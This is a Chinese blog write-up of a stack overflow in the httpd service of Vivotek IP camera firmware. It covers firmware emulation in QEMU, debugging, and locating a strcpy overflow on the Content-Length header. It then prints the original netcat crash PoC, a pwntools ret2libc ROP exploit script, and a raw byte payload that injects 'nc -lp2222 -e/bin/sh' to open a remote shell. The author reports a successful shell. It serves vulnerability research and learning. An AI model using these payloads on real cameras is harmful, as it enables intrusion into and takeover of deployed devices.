Vivotek远程栈溢出漏洞分析与复现

2019-05-08 约 4094 字 预计阅读 9 分钟

声明:本文 【Vivotek远程栈溢出漏洞分析与复现】 由作者 drive**** 于 2019-05-08 09:47:00 首发 先知社区 曾经 浏览数 38 次

感谢 drive**** 的辛苦付出!

0x01 前言

2017年11月披露的vivotek的一个栈溢出漏洞,漏洞发生在其固件中的httpd服务,其未对用户post的数据长度做校验,导致攻击者可以发送特定的数据使摄像头进程崩溃,甚至任意代码执行。这边看到后觉得挺有意思的,打算复现下。

贴一下漏洞作者放出的poc : https://www.exploit-db.com/exploits/44001

再贴一下影响版本 :

CC8160 CC8370-HV CC8371-HV CD8371-HNTV CD8371-HNVF2 FD8166A
FD8166A-N FD8167A FD8167A-S FD8169A FD8169A-S FD816BA-HF2
FD816BA-HT FD816CA-HF2 FD8177-H FD8179-H FD8182-F1 FD8182-F2
FD8182-T FD8366-V FD8367A-V FD8369A-V FD836BA-EHTV FD836BA-EHVF2
FD836BA-HTV FD836BA-HVF2 FD8377-HV FD8379-HV FD8382-ETV FD8382-EVF2
FD8382-TV FD8382-VF2 FD9171-HT FD9181-HT FD9371-EHTV FD9371-HTV
FD9381-EHTV FD9381-HTV FE8182 FE9181-H FE9182-H FE9191
FE9381-EHV FE9382-EHV FE9391-EV IB8360 IB8360-W IB8367A
IB8369A IB836BA-EHF3 IB836BA-EHT IB836BA-HF3 IB836BA-HT IB8377-H
IB8379-H IB8382-EF3 IB8382-ET IB8382-F3 IB8382-T IB9371-EHT
IB9371-HT IB9381-EHT IB9381-HT IP8160 IP8160-W IP8166
IP9171-HP IP9181-H IZ9361-EH MD8563-EHF2 MD8563-EHF4 MD8563-HF2
MD8563-HF4 MD8564-EH MD8565-N SD9161-H SD9361-EHL SD9362-EH
SD9362-EHL SD9363-EHL SD9364-EH SD9364-EHL SD9365-EHL SD9366-EH
SD9366-EHL VS8100-V2

vivotek官网固件下载地址:http://www.vivotek.com/firmware/

0x02 环境搭建

固件下载

vivotek官网并没有发布漏洞固件的历史版本,深夜去国外各大网站上去爬贴找资源,然鹅并没有找到,想喷一波,没有固件降级好傻,看到一堆国外友人吐槽不能版本降级。在漏洞发现者的github上找vulnable firmware的过程中看到了有同样诉求的老哥,看来遇到战友了,果断留issue占楼。

看到作者也留言了233333333。

没办法,没有钱买vivotek摄像头,无法通过串口啥的提固件;只能去官网找技术支持,装一波升级固件后无法启动控制台的小可怜~

客服小姐姐还是很温柔的,固件到手,不忘了再github issue放一波资源。

固件解包

拿到固件后binwalk跑一下,发现文件系统在_31.extracted/_rootfs.img.extracted/squashfs-root这个目录下

看到httpd的类型,32位的arm程序,小端,动态链接,而且符号表被裁23333333

服务运行

解包以后就能看到漏洞服务httpd了,由于是arm架构,x86不能直接跑,这边用qemu模拟arm环境运行服务。

这边遇到两个坑点,一个是一开始运行httpd的时候会显示gethostbyname::success,然鹅httpd进程并没有成功启动,httpd文件丢ida

这边涉及两个主要函数,一个是gethostname,它获取本机主机名,将结果存放在rlimits变量中;另一个是gethostbyname,这个函数通过rlimits中存放的主机名寻找ip。这边由于固件hostname中的主机名和宿主机中的hostname有冲突,导致gethostbyname并不能正确的找到主机名对应的ip。

这边把宿主机和固件hosts文件中的主机名改成一致就行了。

另一个坑点就比较坑了。改完hostname并不能成功运行,httpd服务启动会报一个Could not open boa.conf for reading的错,同样ida里回溯关键字符串引用,找到如下代码

发现是无法找到/etc/conf.d/boa/boa.conf这个文件,固件目录下看了一下发现/etc中的conf.d是一个软链接,指向../mnt/flash/etc/conf.d

../mnt/flash/etc/conf.d看了下,发现并没有conf.d文件夹,emmmmmmm

一开始以为是binwalk解包方式不对,导致文件缺失,然鹅windows下用7zip提取依旧是显示缺文件;猜测etc文件是不是存放在其它包里,果不其然...........

找到对应版本固件的包,将其中的etc文件夹复制到文件系统下的 /mnt/flash/中覆盖原本的etc文件夹。看一下软连接应该是链接正常了,颜色都变了23333333,这下就能成功运行服务了。

调试环境

运行漏洞作者提供的poc发现能导致httpd程序崩溃

然鹅,光能让服务崩溃最多只是个dos拒绝服务,我还想进一步的去观察,去看这个漏洞服务是否能被利用。对这个程序的调试应运而生。

调试的话需要搭建qemu虚拟机,贴下arm-debian的qemu镜像地址:https://people.debian.org/~aurel32/qemu/armel/

开启虚拟机:

sudo tunctl -t tap0 -u `whoami` #这边新建一张网卡和虚拟机进行通信
sudo ifconfig tap0 192.168.2.1/24 #给网卡配置ip
qemu-system-arm -M versatilepb -kernel vmlinuz-3.2.0-4-versatile -initrd initrd.img-3.2.0-4-versatile -hda debian_wheezy_armel_standard.qcow2 -append "root=/dev/sda1"  -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic  #启动虚拟机镜像

之后对虚拟机进行一系列配置:

sudo mount -o bind /dev ./squashfs-root/dev #将固件文件系统下的dev目录挂载到虚拟机/dev
sudo mount -t proc /proc ./squashfs-root/proc #将固件文件系统下的proc目录挂载到虚拟机/proc
ifconfig eth0 192.168.2.2/24 #配置虚拟网卡ip 使其能与主机通信
chroot ./squashfs-root/ sh #以指定目录为根弹出一个shell

默认/dev和/proc在chroot的时候是不会挂载的,所以这边才需要手动挂载。

这边选择远程调试,因为首先要考虑到arm-debian原生镜像并不带gdb,apt-get下载太慢,交叉编译又很烦,而且更重要的是不太直观。这边其实是想ida远程调的,但是这边并没有用这种方法调,后面说原因。

//其实是尝试过交叉编译的,armgdb还好说,32位的arm-gdbserver压力就比较大了,可能qemu虚拟机撑不住,果断弃坑,用别人的多好,何必重复造轮子(滑稽)

贴下已经编译好的各个平台上的gdb&gdbserver地址:https://github.com/mzpqnxow/gdb-static-cross/tree/master/prebuilt-static

考虑到qemu虚拟机中下载太慢,这边先下到主机用python -m SimpleHttpServer传过去就好了。

之后就可以gdbserver调一下了,这边httpd运行后会显示pid,gdbserver直接attach就好了。

这边虚拟网卡其实最好用桥接,NAT的话ida无法远程调,但是配置桥接网卡还是有点烦的,而且这里没必要,因为这个arm-pwn相对来说还是比较好利用的。所以直接宿主机target remote调了。

0x03 开始调试

寻找漏洞点

宿主机target remote上去,向服务端口发送poc,发现崩溃,查看崩溃时各寄存器数值并进行栈回溯查看函数调用

由被调试程序崩溃后的寄存器值可以发现,程序返回时的r4、r5、r6、r7、r8、r9、r10、r11以及pc都被poc中的字符串覆写,由于pc指向了无效地址,所以程序报错。

贴下作者的poc:

echo -en "POST /cgi-bin/admin/upgrade.cgi HTTP/1.0\nContent-Length:AAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIXXXX\n\r\n\r\n"  | netcat -v 192.168.2.2 80

通过对Content-Length的交叉引用找到漏洞点

这边就是漏洞所在,程序没有对content-length字段进行校验,直接用strcpy把content-length字段的值复制到长度为4的dest数组中。由于没有进行校验,内容长度字段可以任意指定,而dest缓冲区距栈底只有0x38字节,不溢出才怪了。

构造溢出

知道了漏洞点的位置以及形成原因,这边来尝试构造一下。需要注意的是,arm下的函数调用的栈布局和x86下是有很大不一样的,函数的返回地址是专门由寄存器LR保存的,这边content-length的长度超过0x38-4字节就会把LR覆盖成其它内容;有关arm的一些东西打算下期写一篇总结下,通过这篇复现还是学到不少arm常识的。

checksec看了下httpd的编译保护来决定通过什么方式利用,这边程序只开启了nx,所以无法直接写shellcode;ret2libc的话是个不错的选择,但前提是vivotek实体机上没有开aslr,否则的话还是要先泄露libc基址,然后再获取一次输入,相对来说会比较烦一点;但是考虑到IoT设备为效率考虑一般是不会开aslr的,所以这边直接通过ret2libc来进行利用。

0x04 漏洞利用

利用思路

qemu的arm-debian虚拟机中先关闭aslr:echo 0 > /proc/sys/kernel/randomize_va_space

由于没有开启aslr,那么堆栈地址、text&data段地址、libc加载基址都是固定的,并不需要泄露libc基址。

libc基址知道,偏移固定,system函数地址相当于也知道,接下来就是参数的传递问题了。

x86下的函数是通过栈来传参,但是在mips和arm中,会优先通过寄存器传参,有点类似x64,arm中的函数参数优先通过r0-r3进行传递;system函数的参数就存放在r0中,而内容长度是存放在栈上的,所以这边需要一条gadget链来让r0指向栈上指定的内容。

这边选取的gadget如下:

0x00048784 : pop {r1, pc} 
0x00016aa4 : mov r0, r1 ; pop {r4, r5, pc}

为什么不直接选pop {r0,pc},因为pop {r0,pc}对应的地址0x00033100中有截断符\x00,且libc基址最后也是\x00,所以用pip {r0,pc}会导致输入中断,无法继续利用。所以这边只能通过先将参数地址传给r1,之后再mov到r0中去。

让r0指向栈上指定的内容,之后再执行system函数就能任意代码执行了。

利用脚本

#encoding=utf-8
#!/usr/bin/python

from pwn import *
from os import *
libc_base =  0x76f2d000   # libC 库在内存中的加载地址
stack_base = 0x7effeb60 # 崩溃时 SP 寄存器的地址
libc_elf = ELF('./libuClibc-0.9.33.3-git.so')

payload = (0x38 - 4) * 'a' # padding
payload +=  p32(0x00048784 + libc_base) # gadget1
payload += p32(0x80 + stack_base) # 栈中命令参数地址
payload += p32(0x00016aa4 + libc_base) # gadget2
payload += (0x8 * 'a')  # padding
payload += p32(libc_elf.symbols['system'] + libc_base) # 内存中 system() 函数地址
payload += ('pwd;' * 0x100 + 'nc\x20-lp2222\x20-e/bin/sh\x20>') # 命令参数



payload = 'echo -en "POST /cgi-bin/admin/upgrade.cgi \nHTTP/1.0\nContent-Length:{}\n\r\n\r\n"  | nc -v 192.168.2.2 80'.format(payload)
os.system(payload)

字节码

由于复现漏洞的虚拟机中并没有pwntools,所以整理成字节码直接跑,有点硬核233333333

echo -en "POST /cgi-bin/admin/upgrade.cgi HTTP/1.0\nContent-Length:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x84\x57\xf7\x76\xe0\xeb\xff\x7e\xa4\x3a\xf4\x76aaaaaaaa\xb0\x4a\xf7\x76pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;pwd;nc -lp2222 -e/bin/sh >\n\r\n\r\n" | nc -v 192.168.2.2 80

0x05 复现

通过此漏洞在远端2222端口反弹一个shell,本地nc过去,成功getshell~。

到这边整个复现过程就算结束了,其实调试和运行环境布置在树莓派上应该会更好一点,能ida远程调就爽的一批了。

0x06 总结

这次的复现过程真的值得好好去讲讲,去回味,漏洞本身是不难的,只是一个栈溢出,但是在真实环境下,在IoT环境下,它又是那么与众不同。

这次的复现真的让我学会了很多,固件、社工(滑稽)、qemu、远程调试、交叉编译、arm语法,甚至arm-pwn.......

更重要的是,它让我知道了对一个一开始觉得高不可攀无法解决的问题如何起手。

ps:调试阶段的时候玩gdbserver触发了一个double free,先去看看是否有相关的漏洞,没有的话过几天调一波~

加油加油~

关键词:[‘安全技术’, ‘IoT安全’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now